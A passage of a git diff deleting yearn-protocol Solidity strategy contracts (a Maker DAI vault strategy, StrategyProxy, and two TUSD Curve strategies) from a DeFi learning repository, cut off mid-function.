-    function _withdrawAll() internal {
-        IVault(yVaultDAI).withdrawAll(); // get Dai
-        _freeWETHandWipeDAI(balanceOfmVault(), getTotalDebtAmount().add(1)); // in case of edge case
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfmVault());
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfmVault() public view returns (uint256) {
-        uint256 ink;
-        address urnHandler = ManagerLike(cdp_manager).urns(cdpId);
-        (ink, ) = VatLike(vat).urns(ilk, urnHandler);
-        return ink;
-    }
-
-    function harvest() public {
-        require(msg.sender == strategist || msg.sender == keeper || msg.sender == governance, "!authorized");
-
-        uint256 v = getUnderlyingDai();
-        uint256 d = getTotalDebtAmount();
-        require(v > d, "profit is not realized yet!");
-        uint256 profit = v.sub(d);
-
-        _withdrawDaiMost(profit);
-        _swap(IERC20(dai).balanceOf(address(this)));
-
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            uint256 _fee = _want.mul(performanceFee).div(c_base);
-            uint256 _strategistReward = _want.mul(strategistReward).div(c_base);
-            IERC20(want).safeTransfer(strategist, _strategistReward);
-            IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        }
-
-        deposit();
-    }
-
-    function shouldDraw() external view returns (bool) {
-        // 5% buffer to avoid deposit/rebalance loops
-        return (getmVaultRatio(0) > c.mul(1e2).mul(c_base).div((c_base.sub(buffer))));
-    }
-
-    function drawAmount() public view returns (uint256) {
-        uint256 _safe = c.mul(1e2);
-        uint256 _current = getmVaultRatio(0);
-        if (_current > c_base.mul(c_safe).mul(1e2)) {
-            _current = c_base.mul(c_safe).mul(1e2);
-        }
-        if (_current > _safe) {
-            uint256 d = getTotalDebtAmount();
-            uint256 diff = _current.sub(_safe);
-            return d.mul(diff).div(_safe);
-        }
-        return 0;
-    }
-
-    function draw() external {
-        uint256 _drawD = drawAmount();
-        if (_drawD > 0) {
-            _lockWETHAndDrawDAI(0, _drawD);
-            IVault(yVaultDAI).depositAll();
-        }
-    }
-
-    function shouldRepay() external view returns (bool) {
-        // 5% buffer to avoid deposit/rebalance loops
-        return (getmVaultRatio(0) < c.mul(1e2).mul(c_base).div((c_base.add(buffer))));
-    }
-
-    function repayAmount() public view returns (uint256) {
-        uint256 _safe = c.mul(1e2);
-        uint256 _current = getmVaultRatio(0);
-        if (_current < _safe) {
-            uint256 d = getTotalDebtAmount();
-            uint256 diff = _safe.sub(_current);
-            return d.mul(diff).div(_safe);
-        }
-        return 0;
-    }
-
-    function repay() external {
-        uint256 free = repayAmount();
-        if (free > 0) {
-            _freeWETHandWipeDAI(0, _withdrawDaiLeast(free));
-        }
-    }
-
-    function forceRebalance(uint256 _amount) external {
-        require(msg.sender == governance || msg.sender == strategist || msg.sender == keeper, "!authorized");
-        _freeWETHandWipeDAI(0, _withdrawDaiLeast(_amount));
-    }
-
-    function getTotalDebtAmount() public view returns (uint256) {
-        uint256 art;
-        uint256 rate;
-        address urnHandler = ManagerLike(cdp_manager).urns(cdpId);
-        (, art) = VatLike(vat).urns(ilk, urnHandler);
-        (, rate, , , ) = VatLike(vat).ilks(ilk);
-        return art.mul(rate).div(1e27);
-    }
-
-    function getmVaultRatio(uint256 amount) public view returns (uint256) {
-        uint256 spot; // ray
-        uint256 liquidationRatio; // ray
-        uint256 denominator = getTotalDebtAmount();
-
-        if (denominator == 0) {
-            return uint256(-1);
-        }
-
-        (, , spot, , ) = VatLike(vat).ilks(ilk);
-        (, liquidationRatio) = SpotLike(mcd_spot).ilks(ilk);
-        uint256 delayedCPrice = spot.mul(liquidationRatio).div(1e27); // ray
-
-        uint256 _balance = balanceOfmVault();
-        if (_balance < amount) {
-            _balance = 0;
-        } else {
-            _balance = _balance.sub(amount);
-        }
-
-        uint256 numerator = _balance.mul(delayedCPrice).div(1e18); // ray
-        return numerator.div(denominator).div(1e3);
-    }
-
-    function getUnderlyingWithdrawalFee() public view returns (uint256) {
-        address _strategy = IController(controller).strategies(dai);
-        return IStrategy(_strategy).withdrawalFee();
-    }
-
-    function getUnderlyingDai() public view returns (uint256) {
-        return IERC20(yVaultDAI).balanceOf(address(this)).mul(IVault(yVaultDAI).getPricePerFullShare()).div(1e18);
-    }
-
-    function _withdrawDaiMost(uint256 _amount) internal returns (uint256) {
-        uint256 _shares = _amount.mul(1e18).div(IVault(yVaultDAI).getPricePerFullShare());
-
-        if (_shares > IERC20(yVaultDAI).balanceOf(address(this))) {
-            _shares = IERC20(yVaultDAI).balanceOf(address(this));
-        }
-
-        uint256 _before = IERC20(dai).balanceOf(address(this));
-        IVault(yVaultDAI).withdraw(_shares);
-        uint256 _after = IERC20(dai).balanceOf(address(this));
-        return _after.sub(_before);
-    }
-
-    function _withdrawDaiLeast(uint256 _amount) internal returns (uint256) {
-        uint256 _shares = _amount.mul(1e18).div(IVault(yVaultDAI).getPricePerFullShare()).mul(c_base).div(
-            c_base.sub(getUnderlyingWithdrawalFee())
-        );
-
-        if (_shares > IERC20(yVaultDAI).balanceOf(address(this))) {
-            _shares = IERC20(yVaultDAI).balanceOf(address(this));
-        }
-
-        uint256 _before = IERC20(dai).balanceOf(address(this));
-        IVault(yVaultDAI).withdraw(_shares);
-        uint256 _after = IERC20(dai).balanceOf(address(this));
-        return _after.sub(_before);
-    }
-
-    function _swap(uint256 _amountIn) internal {
-        address[] memory path = new address[](2);
-        path[0] = address(dai);
-        path[1] = address(want);
-
-        // approve uniswap to use dai
-        Uni(dex).swapExactTokensForTokens(_amountIn, 0, path, address(this), now.add(1 days));
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyProxy.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyProxy.sol
deleted file mode 100644
index 47c81d407..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyProxy.sol
+++ /dev/null
@@ -1,135 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IProxy.sol";
-import "../../interfaces/curve/Mintr.sol";
-import "../../interfaces/curve/FeeDistribution.sol";
-import "../../interfaces/curve/Gauge.sol";
-
-contract StrategyProxy {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    IProxy public constant proxy = IProxy(0xF147b8125d2ef93FB6965Db97D6746952a133934);
-    address public constant mintr = address(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0);
-    address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
-    address public constant gauge = address(0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB);
-    address public constant yveCRV = address(0xc5bDdf9843308380375a611c18B50Fb9341f502A);
-    address public constant CRV3 = address(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
-    FeeDistribution public constant feeDistribution = FeeDistribution(0xA464e6DCda8AC41e03616F95f4BC98a13b8922Dc);
-
-    // gauge => strategies
-    mapping(address => address) public strategies;
-    mapping(address => bool) public voters;
-    address public governance;
-
-    uint256 lastTimeCursor;
-
-    constructor() public {
-        governance = msg.sender;
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function approveStrategy(address _gauge, address _strategy) external {
-        require(msg.sender == governance, "!governance");
-        strategies[_gauge] = _strategy;
-    }
-
-    function revokeStrategy(address _gauge) external {
-        require(msg.sender == governance, "!governance");
-        strategies[_gauge] = address(0);
-    }
-
-    function approveVoter(address _voter) external {
-        require(msg.sender == governance, "!governance");
-        voters[_voter] = true;
-    }
-
-    function revokeVoter(address _voter) external {
-        require(msg.sender == governance, "!governance");
-        voters[_voter] = false;
-    }
-
-    function lock() external {
-        uint256 amount = IERC20(crv).balanceOf(address(proxy));
-        if (amount > 0) proxy.increaseAmount(amount);
-    }
-
-    function vote(address _gauge, uint256 _amount) public {
-        require(voters[msg.sender], "!voter");
-        proxy.execute(gauge, 0, abi.encodeWithSignature("vote_for_gauge_weights(address,uint256)", _gauge, _amount));
-    }
-
-    function withdraw(
-        address _gauge,
-        address _token,
-        uint256 _amount
-    ) public returns (uint256) {
-        require(strategies[_gauge] == msg.sender, "!strategy");
-        uint256 _balance = IERC20(_token).balanceOf(address(proxy));
-        proxy.execute(_gauge, 0, abi.encodeWithSignature("withdraw(uint256)", _amount));
-        _balance = IERC20(_token).balanceOf(address(proxy)).sub(_balance);
-        proxy.execute(_token, 0, abi.encodeWithSignature("transfer(address,uint256)", msg.sender, _balance));
-        return _balance;
-    }
-
-    function balanceOf(address _gauge) public view returns (uint256) {
-        return IERC20(_gauge).balanceOf(address(proxy));
-    }
-
-    function withdrawAll(address _gauge, address _token) external returns (uint256) {
-        require(strategies[_gauge] == msg.sender, "!strategy");
-        return withdraw(_gauge, _token, balanceOf(_gauge));
-    }
-
-    function deposit(address _gauge, address _token) external {
-        require(strategies[_gauge] == msg.sender, "!strategy");
-        uint256 _balance = IERC20(_token).balanceOf(address(this));
-        IERC20(_token).safeTransfer(address(proxy), _balance);
-        _balance = IERC20(_token).balanceOf(address(proxy));
-
-        proxy.execute(_token, 0, abi.encodeWithSignature("approve(address,uint256)", _gauge, 0));
-        proxy.execute(_token, 0, abi.encodeWithSignature("approve(address,uint256)", _gauge, _balance));
-        (bool success, ) = proxy.execute(_gauge, 0, abi.encodeWithSignature("deposit(uint256)", _balance));
-        if (!success) assert(false);
-    }
-
-    function harvest(address _gauge) external {
-        require(strategies[_gauge] == msg.sender, "!strategy");
-        uint256 _balance = IERC20(crv).balanceOf(address(proxy));
-        proxy.execute(mintr, 0, abi.encodeWithSignature("mint(address)", _gauge));
-        _balance = (IERC20(crv).balanceOf(address(proxy))).sub(_balance);
-        proxy.execute(crv, 0, abi.encodeWithSignature("transfer(address,uint256)", msg.sender, _balance));
-    }
-
-    function claim(address recipient) external {
-        require(msg.sender == yveCRV, "!strategy");
-        if (now < lastTimeCursor.add(604800)) return;
-
-        address p = address(proxy);
-        feeDistribution.claim_many([p, p, p, p, p, p, p, p, p, p, p, p, p, p, p, p, p, p, p, p]);
-        lastTimeCursor = feeDistribution.time_cursor_of(address(proxy));
-
-        uint256 amount = IERC20(CRV3).balanceOf(address(proxy));
-        if (amount > 0) {
-            proxy.execute(CRV3, 0, abi.encodeWithSignature("transfer(address,uint256)", recipient, amount));
-        }
-    }
-
-    function claimRewards(address _gauge, address _token) external {
-        require(strategies[_gauge] == msg.sender, "!strategy");
-        Gauge(_gauge).claim_rewards(address(proxy));
-        proxy.execute(_token, 0, abi.encodeWithSignature("transfer(address,uint256)", msg.sender, IERC20(_token).balanceOf(address(proxy))));
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyTUSDCurve.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyTUSDCurve.sol
deleted file mode 100644
index 9e9fd45eb..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyTUSDCurve.sol
+++ /dev/null
@@ -1,198 +0,0 @@
-// SPDX-License-Identifier: MIT
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/curve/Curve.sol";
-import "../../interfaces/uniswap/Uni.sol";
-import "../../interfaces/curve/Mintr.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/yearn/IToken.sol";
-
-contract StrategyTUSDCurve {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x0000000000085d4780B73119b644AE5ecd22b376);
-    address public constant y = address(0x73a052500105205d34Daf004eAb301916DA8190f);
-    address public constant ycrv = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8);
-    address public constant yycrv = address(0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c);
-    address public constant curve = address(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
-
-    address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant ydai = address(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);
-
-    address public constant usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
-    address public constant yusdc = address(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e);
-
-    address public constant usdt = address(0xdAC17F958D2ee523a2206206994597C13D831ec7);
-    address public constant yusdt = address(0x83f798e925BcD4017Eb265844FDDAbb448f1707D);
-
-    address public constant tusd = address(0x0000000000085d4780B73119b644AE5ecd22b376);
-    address public constant ytusd = address(0x73a052500105205d34Daf004eAb301916DA8190f);
-
-    address public governance;
-    address public controller;
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyTUSDCurve";
-    }
-
-    function deposit() public {
-        uint256 _want = IERC20(want).balanceOf(address(this));
-        if (_want > 0) {
-            IERC20(want).safeApprove(y, 0);
-            IERC20(want).safeApprove(y, _want);
-            yERC20(y).deposit(_want);
-        }
-        uint256 _y = IERC20(y).balanceOf(address(this));
-        if (_y > 0) {
-            IERC20(y).safeApprove(curve, 0);
-            IERC20(y).safeApprove(curve, _y);
-            ICurveFi(curve).add_liquidity([0, 0, 0, _y], 0);
-        }
-        uint256 _ycrv = IERC20(ycrv).balanceOf(address(this));
-        if (_ycrv > 0) {
-            IERC20(ycrv).safeApprove(yycrv, 0);
-            IERC20(ycrv).safeApprove(yycrv, _ycrv);
-            yERC20(yycrv).deposit(_ycrv);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(y != address(_asset), "y");
-        require(ycrv != address(_asset), "ycrv");
-        require(yycrv != address(_asset), "yycrv");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-        }
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, _amount);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function withdrawTUSD(uint256 _amount) internal returns (uint256) {
-        IERC20(ycrv).safeApprove(curve, 0);
-        IERC20(ycrv).safeApprove(curve, _amount);
-        ICurveFi(curve).remove_liquidity(_amount, [uint256(0), 0, 0, 0]);
-
-        uint256 _ydai = IERC20(ydai).balanceOf(address(this));
-        uint256 _yusdc = IERC20(yusdc).balanceOf(address(this));
-        uint256 _yusdt = IERC20(yusdt).balanceOf(address(this));
-
-        if (_ydai > 0) {
-            IERC20(ydai).safeApprove(curve, 0);
-            IERC20(ydai).safeApprove(curve, _ydai);
-            ICurveFi(curve).exchange(0, 3, _ydai, 0);
-        }
-        if (_yusdc > 0) {
-            IERC20(yusdc).safeApprove(curve, 0);
-            IERC20(yusdc).safeApprove(curve, _yusdc);
-            ICurveFi(curve).exchange(1, 3, _yusdc, 0);
-        }
-        if (_yusdt > 0) {
-            IERC20(yusdt).safeApprove(curve, 0);
-            IERC20(yusdt).safeApprove(curve, _yusdt);
-            ICurveFi(curve).exchange(2, 3, _yusdt, 0);
-        }
-
-        uint256 _before = IERC20(want).balanceOf(address(this));
-        yERC20(ytusd).withdraw(IERC20(ytusd).balanceOf(address(this)));
-        uint256 _after = IERC20(want).balanceOf(address(this));
-
-        return _after.sub(_before);
-    }
-
-    function _withdrawAll() internal {
-        uint256 _yycrv = IERC20(yycrv).balanceOf(address(this));
-        if (_yycrv > 0) {
-            yERC20(yycrv).withdraw(_yycrv);
-            withdrawTUSD(IERC20(ycrv).balanceOf(address(this)));
-        }
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        // calculate amount of ycrv to withdraw for amount of _want_
-        uint256 _ycrv = _amount.mul(1e18).div(ICurveFi(curve).get_virtual_price());
-        // calculate amount of yycrv to withdraw for amount of _ycrv_
-        uint256 _yycrv = _ycrv.mul(1e18).div(yERC20(yycrv).getPricePerFullShare());
-        uint256 _before = IERC20(ycrv).balanceOf(address(this));
-        yERC20(yycrv).withdraw(_yycrv);
-        uint256 _after = IERC20(ycrv).balanceOf(address(this));
-        return withdrawTUSD(_after.sub(_before));
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfYYCRV() public view returns (uint256) {
-        return IERC20(yycrv).balanceOf(address(this));
-    }
-
-    function balanceOfYYCRVinYCRV() public view returns (uint256) {
-        return balanceOfYYCRV().mul(yERC20(yycrv).getPricePerFullShare()).div(1e18);
-    }
-
-    function balanceOfYYCRVinyTUSD() public view returns (uint256) {
-        return balanceOfYYCRVinYCRV().mul(ICurveFi(curve).get_virtual_price()).div(1e18);
-    }
-
-    function balanceOfYCRV() public view returns (uint256) {
-        return IERC20(ycrv).balanceOf(address(this));
-    }
-
-    function balanceOfYCRVyTUSD() public view returns (uint256) {
-        return balanceOfYCRV().mul(ICurveFi(curve).get_virtual_price()).div(1e18);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfYYCRVinyTUSD());
-    }
-
-    function setGovernance(address _governance) external {
-        require(msg.sender == governance, "!governance");
-        governance = _governance;
-    }
-
-    function setController(address _controller) external {
-        require(msg.sender == governance, "!governance");
-        controller = _controller;
-    }
-}
diff --git a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyTUSDypool.sol b/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyTUSDypool.sol
deleted file mode 100644
index 45f59469c..000000000
--- a/Learn-DEFI-YFI/yearn-protocol/contracts/strategies/StrategyTUSDypool.sol
+++ /dev/null
@@ -1,351 +0,0 @@
-/**
- *Submitted for verification at Etherscan.io on 2020-11-16
- */
-
-pragma solidity ^0.5.17;
-
-import "@openzeppelinV2/contracts/token/ERC20/IERC20.sol";
-import "@openzeppelinV2/contracts/math/SafeMath.sol";
-import "@openzeppelinV2/contracts/utils/Address.sol";
-import "@openzeppelinV2/contracts/token/ERC20/SafeERC20.sol";
-
-import "../../interfaces/yearn/IController.sol";
-import "../../interfaces/curve/Curve.sol";
-
-interface yvERC20 {
-    function deposit(uint256) external;
-
-    function withdraw(uint256) external;
-
-    function getPricePerFullShare() external view returns (uint256);
-}
-
-/*
-
- A strategy must implement the following calls;
- 
- - deposit()
- - withdraw(address) must exclude any tokens used in the yield - Controller role - withdraw should return to Controller
- - withdraw(uint) - Controller | Vault role - withdraw should always return to vault
- - withdrawAll() - Controller | Vault role - withdraw should always return to vault
- - balanceOf()
- 
- Where possible, strategies must remain as immutable as possible, instead of updating variables, we update the contract by linking it in the controller
- 
-*/
-
-contract StrategyTUSDypool {
-    using SafeERC20 for IERC20;
-    using Address for address;
-    using SafeMath for uint256;
-
-    address public constant want = address(0x0000000000085d4780B73119b644AE5ecd22b376);
-    address public constant ypool = address(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51);
-    address public constant ycrv = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8);
-    address public constant yycrv = address(0x5dbcF33D8c2E976c6b560249878e6F1491Bca25c);
-
-    address public constant dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F);
-    address public constant ydai = address(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01);
-    address public constant usdc = address(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
-    address public constant yusdc = address(0xd6aD7a6750A7593E092a9B218d66C0A814a3436e);
-    address public constant usdt = address(0xdAC17F958D2ee523a2206206994597C13D831ec7);
-    address public constant yusdt = address(0x83f798e925BcD4017Eb265844FDDAbb448f1707D);
-    address public constant tusd = address(0x0000000000085d4780B73119b644AE5ecd22b376);
-    address public constant ytusd = address(0x73a052500105205d34Daf004eAb301916DA8190f);
-
-    address public governance;
-    address public controller;
-    address public strategist;
-
-    uint256 public constant DENOMINATOR = 10000;
-    uint256 public treasuryFee = 500;
-    uint256 public withdrawalFee = 0;
-    uint256 public strategistReward = 50;
-    uint256 public threshold = 6000;
-    uint256 public slip = 100;
-    uint256 public tank = 0;
-    uint256 public p = 0;
-
-    event Threshold(address indexed strategy);
-
-    modifier isAuthorized() {
-        require(msg.sender == governance || msg.sender == strategist || msg.sender == controller || msg.sender == address(this), "!authorized");
-        _;
-    }
-
-    constructor(address _controller) public {
-        governance = msg.sender;
-        strategist = msg.sender;
-        controller = _controller;
-    }
-
-    function getName() external pure returns (string memory) {
-        return "StrategyTUSDypool";
-    }
-
-    function deposit() public isAuthorized {
-        rebalance();
-        uint256 _want = (IERC20(want).balanceOf(address(this))).sub(tank);
-        if (_want > 0) {
-            IERC20(want).safeApprove(ytusd, 0);
-            IERC20(want).safeApprove(ytusd, _want);
-            yvERC20(ytusd).deposit(_want);
-        }
-        uint256 _y = IERC20(ytusd).balanceOf(address(this));
-        if (_y > 0) {
-            IERC20(ytusd).safeApprove(ypool, 0);
-            IERC20(ytusd).safeApprove(ypool, _y);
-            uint256 v = _want.mul(1e18).div(ICurveFi(ypool).get_virtual_price());
-            ICurveFi(ypool).add_liquidity([0, 0, 0, _y], v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        }
-        uint256 _bal = IERC20(ycrv).balanceOf(address(this));
-        if (_bal > 0) {
-            IERC20(ycrv).safeApprove(yycrv, 0);
-            IERC20(ycrv).safeApprove(yycrv, _bal);
-            yvERC20(yycrv).deposit(_bal);
-        }
-    }
-
-    // Controller only function for creating additional rewards from dust
-    function withdraw(IERC20 _asset) external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        require(want != address(_asset), "want");
-        require(ycrv != address(_asset), "ycrv");
-        require(yycrv != address(_asset), "yycrv");
-        balance = _asset.balanceOf(address(this));
-        _asset.safeTransfer(controller, balance);
-    }
-
-    // Withdraw partial funds, normally used with a vault withdrawal
-    function withdraw(uint256 _amount) external {
-        require(msg.sender == controller, "!controller");
-
-        rebalance();
-        uint256 _balance = IERC20(want).balanceOf(address(this));
-        if (_balance < _amount) {
-            _amount = _withdrawSome(_amount.sub(_balance));
-            _amount = _amount.add(_balance);
-            tank = 0;
-        } else {
-            if (tank >= _amount) tank = tank.sub(_amount);
-            else tank = 0;
-        }
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        uint256 _fee = _amount.mul(withdrawalFee).div(DENOMINATOR);
-        IERC20(want).safeTransfer(IController(controller).rewards(), _fee);
-        IERC20(want).safeTransfer(_vault, _amount.sub(_fee));
-    }
-
-    function _withdrawSome(uint256 _amount) internal returns (uint256) {
-        uint256 _amnt = _amount.mul(1e18).div(ICurveFi(ypool).get_virtual_price());
-        uint256 _amt = _amnt.mul(1e18).div(yvERC20(yycrv).getPricePerFullShare());
-        uint256 _before = IERC20(ycrv).balanceOf(address(this));
-        yvERC20(yycrv).withdraw(_amt);
-        uint256 _after = IERC20(ycrv).balanceOf(address(this));
-        return _withdrawOne(_after.sub(_before));
-    }
-
-    function _withdrawOne(uint256 _amnt) internal returns (uint256) {
-        IERC20(ycrv).safeApprove(ypool, 0);
-        IERC20(ycrv).safeApprove(ypool, _amnt);
-
-        uint256 _aux = _amnt.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR);
-        uint256 _t = IERC20(ycrv).totalSupply();
-        ICurveFi(ypool).remove_liquidity(
-            _amnt,
-            [
-                ICurveFi(ypool).balances(0).mul(_aux).div(_t),
-                ICurveFi(ypool).balances(1).mul(_aux).div(_t),
-                ICurveFi(ypool).balances(2).mul(_aux).div(_t),
-                ICurveFi(ypool).balances(3).mul(_aux).div(_t)
-            ]
-        );
-
-        uint256 _ydai = IERC20(ydai).balanceOf(address(this));
-        uint256 _yusdc = IERC20(yusdc).balanceOf(address(this));
-        uint256 _yusdt = IERC20(yusdt).balanceOf(address(this));
-
-        uint256 tmp;
-        if (_ydai > 0) {
-            IERC20(ydai).safeApprove(ypool, 0);
-            IERC20(ydai).safeApprove(ypool, _ydai);
-            tmp = ICurveFi(ypool).get_dy(0, 3, _ydai);
-            ICurveFi(ypool).exchange(0, 3, _ydai, tmp.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        }
-        if (_yusdc > 0) {
-            IERC20(yusdc).safeApprove(ypool, 0);
-            IERC20(yusdc).safeApprove(ypool, _yusdc);
-            tmp = ICurveFi(ypool).get_dy(1, 3, _yusdc);
-            ICurveFi(ypool).exchange(1, 3, _yusdc, tmp.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        }
-        if (_yusdt > 0) {
-            IERC20(yusdt).safeApprove(ypool, 0);
-            IERC20(yusdt).safeApprove(ypool, _yusdt);
-            tmp = ICurveFi(ypool).get_dy(2, 3, _yusdt);
-            ICurveFi(ypool).exchange(2, 3, _yusdt, tmp.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-        }
-
-        uint256 _before = IERC20(want).balanceOf(address(this));
-        yvERC20(ytusd).withdraw(IERC20(ytusd).balanceOf(address(this)));
-        uint256 _after = IERC20(want).balanceOf(address(this));
-
-        return _after.sub(_before);
-    }
-
-    // Withdraw all funds, normally used when migrating strategies
-    function withdrawAll() external returns (uint256 balance) {
-        require(msg.sender == controller, "!controller");
-        _withdrawAll();
-
-        balance = IERC20(want).balanceOf(address(this));
-
-        address _vault = IController(controller).vaults(address(want));
-        require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds
-        IERC20(want).safeTransfer(_vault, balance);
-    }
-
-    function _withdrawAll() internal {
-        uint256 _yycrv = IERC20(yycrv).balanceOf(address(this));
-        if (_yycrv > 0) {
-            yvERC20(yycrv).withdraw(_yycrv);
-            _withdrawOne(IERC20(ycrv).balanceOf(address(this)));
-        }
-    }
-
-    function balanceOfWant() public view returns (uint256) {
-        return IERC20(want).balanceOf(address(this));
-    }
-
-    function balanceOfYCRV() public view returns (uint256) {
-        return IERC20(ycrv).balanceOf(address(this));
-    }
-
-    function balanceOfYCRVinWant() public view returns (uint256) {
-        return balanceOfYCRV().mul(ICurveFi(ypool).get_virtual_price()).div(1e18);
-    }
-
-    function balanceOfYYCRV() public view returns (uint256) {
-        return IERC20(yycrv).balanceOf(address(this));
-    }
-
-    function balanceOfYYCRVinYCRV() public view returns (uint256) {
-        return balanceOfYYCRV().mul(yvERC20(yycrv).getPricePerFullShare()).div(1e18);
-    }
-
-    function balanceOfYYCRVinWant() public view returns (uint256) {
-        return balanceOfYYCRVinYCRV().mul(ICurveFi(ypool).get_virtual_price()).div(1e18);
-    }
-
-    function balanceOf() public view returns (uint256) {
-        return balanceOfWant().add(balanceOfYYCRVinWant());
-    }
-
-    function migrate(address _strategy) external {
-        require(msg.sender == governance, "!governance");
-        require(IController(controller).approvedStrategies(want, _strategy), "!stategyAllowed");
-        IERC20(yycrv).safeTransfer(_strategy, IERC20(yycrv).balanceOf(address(this)));
-        IERC20(ycrv).safeTransfer(_strategy, IERC20(ycrv).balanceOf(address(this)));
-        IERC20(want).safeTransfer(_strategy, IERC20(want).balanceOf(address(this)));
-    }
-
-    function forceD(uint256 _amount) external isAuthorized {
-        IERC20(want).safeApprove(ytusd, 0);
-        IERC20(want).safeApprove(ytusd, _amount);
-        yvERC20(ytusd).deposit(_amount);
-
-        uint256 _y = IERC20(ytusd).balanceOf(address(this));
-        IERC20(ytusd).safeApprove(ypool, 0);
-        IERC20(ytusd).safeApprove(ypool, _y);
-        uint256 v = _amount.mul(1e18).div(ICurveFi(ypool).get_virtual_price());
-        ICurveFi(ypool).add_liquidity([0, 0, 0, _y], v.mul(DENOMINATOR.sub(slip)).div(DENOMINATOR));
-
-        uint256 _bal = IERC20(ycrv).balanceOf(address(this));
-        IERC20(ycrv).safeApprove(yycrv, 0);
-        IERC20(ycrv).safeApprove(yycrv, _bal);
-        yvERC20(yycrv).deposit(_bal);
-
-        if (_amount < tank) tank = tank.sub(_amount);
-        else tank = 0;
-    }
-
-    function forceW(uint256 _amt) external isAuthorized {
-        uint256 _before = IERC20(ycrv).balanceOf(address(this));
-        yvERC20(yycrv).withdraw(_amt);
-        uint256 _after = IERC20(ycrv).balanceOf(address(this));
-        _amt = _after.sub(_before);
-
-        _before = IERC20(want).balanceOf(address(this));
-        _withdrawOne(_amt);
-        _after = IERC20(want).balanceOf(address(this));
-        tank = tank.add(_after.sub(_before));
-    }
-
-    function drip() public isAuthorized {
